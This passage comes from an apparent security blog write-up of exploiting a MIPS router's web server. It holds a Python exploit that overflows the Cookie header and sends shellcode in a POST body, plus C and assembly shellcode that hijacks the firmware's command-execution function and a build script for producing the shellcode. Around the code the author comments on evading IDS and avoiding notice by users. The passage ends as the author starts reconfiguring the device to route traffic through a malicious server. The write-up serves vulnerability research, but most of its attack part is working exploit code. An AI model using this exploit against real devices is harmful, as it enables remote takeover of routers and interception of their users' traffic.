        &lt;span class=&quot;s&quot;&gt;&quot;User-Agent: Mozilla/5.0 ...&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;&quot;Accept: */*&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;&quot;Referer: http://192.168.1.1/&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;&quot;Accept-Encoding: gzip, deflate, sdch&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;&quot;Accept-Language: en-US,en;q=0.8,ru;q=0.6&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;&quot;Content-length: [[shelllen]]&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;&quot;Cookie: [[cookies]]&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;&quot;[[shell]]&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; 

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;getBuffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\r\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;exploit&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;buff&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;getBuffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;AF_INET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SOCK_STREAM&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;connect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;SS&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;SSSSSSSS&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; 
              &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;shellcode/shellcode.bin&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;rb&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;shellcode size: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;d&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;buff&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;replace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;[[shell]]&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;buff&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;replace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;[[shelllen]]&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)))&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;send_buff&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;replace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;[[cookies]]&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
              &lt;span class=&quot;n&quot;&gt;exploit&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;A&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;size&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;exploit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; 
              &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x5c\x73\x59&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;send_buff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Sending buffer with length: &quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;send_buff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;send_buff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;back_buff&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;recv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1024&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Received size: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;d&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;back_buff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;back_buff&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The script will read the shellcode from &lt;code class=&quot;highlighter-rouge&quot;&gt;shellcode.bin&lt;/code&gt; binary file and insert it as the body of the message. Luckily for us, the POST message is designed for any kind of data and so we didn’t have to do any encoding. Of course, in a real situation, it would be good to have some sort of encoding to avoid IDS detection.&lt;/p&gt;

&lt;h1 id=&quot;shellcode&quot;&gt;Shellcode&lt;/h1&gt;

&lt;p&gt;Now that we are able to control the Program Counter and point it a reliable location of a buffer we control, we can start building shellcode that does something useful. Unlike regular programs, shellcode won’t get to be loaded by a loader. All we get is the ability to execute raw machine code. So, all bootstraping, linking and such would have to be handled manually.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;preamble:&lt;/em&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-asm&quot;&gt;entry:
  addi    $t9, $t9, 16        // Set t9 to point to compiled code
  sw      $t9, GPOFFSET($t9)  // Set the GPOFFSET pointer
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Initially the Program Counter will point to the &lt;code class=&quot;highlighter-rouge&quot;&gt;entry&lt;/code&gt; label. This preable is necessary in order to allow the following position independant code (PIC) to execute - &lt;em&gt;main executable&lt;/em&gt;. The preamble fixes up the Global Offset variable. Even through the PIC is supposed to be position independent, it still relies on a pointer that it stores as a variable just after the machine code. This pointer is supposed to point to the beginning of the PIC. This way the code knows how to compute a relative offset. However, since the compilation is happening locally, the compiler does not know the initial value of &lt;code class=&quot;highlighter-rouge&quot;&gt;GPOFFSET&lt;/code&gt;. So we have to set it.&lt;/p&gt;

&lt;p&gt;At the time of exection, the location of the shellcode buffer will be stored in register &lt;code class=&quot;highlighter-rouge&quot;&gt;$t9&lt;/code&gt;. Our task is to set the &lt;code class=&quot;highlighter-rouge&quot;&gt;GPOFFSET&lt;/code&gt; value to the top of the code compiled from the below C program. We do this by offsetting 16 bytes from the start of the shellcode - to skip the preamble. Then, we make sure that the register &lt;code class=&quot;highlighter-rouge&quot;&gt;$t9&lt;/code&gt; actually points to the beginning of the compiled code.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;main executable:&lt;/em&gt;&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cm&quot;&gt;/**
 * Shellcode entry point. We intentionally place it in a 
 * seperate section in order to use a linker script to 
 * place it at the beginning of the binary.
 */&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;__attribute__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;section&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;.entry&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)));&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;do_cmd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;do_cmd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x00410CD4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;do_cmd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/etc/init.d/web restart&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The above code is the the main shellcode logic. You will notice that there is a &lt;code class=&quot;highlighter-rouge&quot;&gt;do_cmd&lt;/code&gt; function. We coopt this function from the IOOS main binary. All it does is execute a shell command. This is perfect for our purposes. The command I’ve chosen to execute is the one that restarts the service. This is a very quick operation and leaves little trace. Basically, I was too lazy to construct a cleaner cleanup method. However, with a device such as this with such poor quality of security, I feel this is the appropriate level of effort and will not be caught by 99% of users. So, the shellcode will never actually return to the execution path that it interrupted.&lt;/p&gt;

&lt;p&gt;After compilation, the shellcode binary looks something like this. You can clearly see the preamble with some NOP alignment and the compiled main function following that. We can see that at the beginning of the fuction, the &lt;code class=&quot;highlighter-rouge&quot;&gt;$t9&lt;/code&gt; register is expected to be pointing to the top of the main executable that starts at address 0x10.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Preamble:
ROM:00000000                 .text # ROM
ROM:00000000                 addi    $t9, 0x10
ROM:00000004                 sw      $t9, 0x3A8($t9)
ROM:00000008                 nop
ROM:0000000C                 nop
Main excutable:
ROM:00000010                 li      $gp, 0
ROM:00000018                 addu    $gp, $t9      // $t9
ROM:0000001C                 addiu   $sp, -0x28
ROM:00000020                 sw      $ra, 0x24($sp)
ROM:00000024                 sw      $fp, 0x20($sp)
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The build script was a modification of the ShellcodeWrapper script written by Google’s ProjectZero [4]. It was made for ARM64, but with some modifications it was possible to get it to produce useful MIPS shellcode.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;#!/bin/bash&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;PREFIX&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/home/mike/mipsel/
&lt;span class=&quot;nv&quot;&gt;PREFIX&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;PREFIX&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;/bin/mipsel-unknown-linux-gnu-

&lt;span class=&quot;c&quot;&gt;#Compiling the main C code in a position-independant manner&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;PREFIX&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;gcc &lt;span class=&quot;nt&quot;&gt;-mabicalls&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-fpic&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-G&lt;/span&gt; 0 &lt;span class=&quot;nt&quot;&gt;-fPIC&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-fPIE&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-O0&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;
   &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; main.c &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; main.o
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$?&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-ne&lt;/span&gt; 0 &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then
  &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Failed to compile C shellcode&quot;&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;exit &lt;/span&gt;1
&lt;span class=&quot;k&quot;&gt;fi&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;PREFIX&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;objcopy &lt;span class=&quot;nt&quot;&gt;-O&lt;/span&gt; binary main.elf main.bin
&lt;span class=&quot;nv&quot;&gt;GPOFFSET&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;PREFIX&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;objdump &lt;span class=&quot;nt&quot;&gt;-D&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-b&lt;/span&gt; binary &lt;span class=&quot;nt&quot;&gt;-mmips&lt;/span&gt; shellcode.bin | &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-F&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'(gp)'&lt;/span&gt; | sed &lt;span class=&quot;s1&quot;&gt;'s/[,)(]/ /g'&lt;/span&gt; | awk &lt;span class=&quot;s1&quot;&gt;'{print $5}'&lt;/span&gt; | &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
    head &lt;span class=&quot;nt&quot;&gt;-1&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;

&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;GPOFFSET = &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;GPOFFSET&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;#Assembling the entry stub and converting it to a binary blob&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;PREFIX&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;as &lt;span class=&quot;nt&quot;&gt;--defsym&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;GPOFFSET&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;GPOFFSET&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; entry.S &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; entry.elf
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$?&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-ne&lt;/span&gt; 0 &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then
  &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Failed to assemble complete assembly file&quot;&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;exit &lt;/span&gt;1
&lt;span class=&quot;k&quot;&gt;fi&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;PREFIX&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;objcopy &lt;span class=&quot;nt&quot;&gt;-j&lt;/span&gt; .text &lt;span class=&quot;nt&quot;&gt;-O&lt;/span&gt; binary entry.elf entry.bin
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$?&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-ne&lt;/span&gt; 0 &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then
  &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Failed to copy sections out of ELF file&quot;&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;exit &lt;/span&gt;1
&lt;span class=&quot;k&quot;&gt;fi&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;#Using our special linker script to make sure the main &lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#  function is at the beginning of the shellcode file&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;PREFIX&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;ld &lt;span class=&quot;nt&quot;&gt;-pie&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-T&lt;/span&gt; ld_script main.o &lt;span class=&quot;nt&quot;&gt;-Map&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;map.txt &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; main.elf

&lt;span class=&quot;c&quot;&gt;#Concatenating the two binary blobs to form our shellcode&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;entry.bin &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; shellcode.bin
&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;main.bin &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; shellcode.bin

&lt;span class=&quot;c&quot;&gt;#Copying the code into whatever output directory you need it in&lt;/span&gt;
cp shellcode.bin /path/to/your/shellcode/binary
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Building the MIPS tool chain for cross compilations can be quite a chore, but with the resources below I got to the promise land, with Ubuntu, relatively quickly:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.linux-mips.org/wiki/Toolchains&quot;&gt;Linux MIPS Toolchains&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://stackoverflow.com/questions/9253695/building-gcc-requires-gmp-4-2-mpfr-2-3-1-and-mpc-0-8-0&quot;&gt;Building GCC requires GMP 4.2+, MPFR 2.3.1+ and MPC 0.8.0+&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://stackoverflow.com/questions/18242322/gcc-4-8-1-will-not-make&quot;&gt;gcc 4.8.1 will not make&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://gcc.gnu.org/ml/gcc-help/2006-01/msg00119.html&quot;&gt;Re: position independent code on MIPS&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;the-attack&quot;&gt;The attack&lt;/h1&gt;

&lt;p&gt;Now that we have arbitrary execution on the device and we know how to build the shellcode, the possibilities are limitless. We could build and install implants and/or reconfigure the device. I’ve decided to explore one option of reconfiguring the device by forcing it to reroute HTTP traffic via a malicious server.&lt;/p&gt;

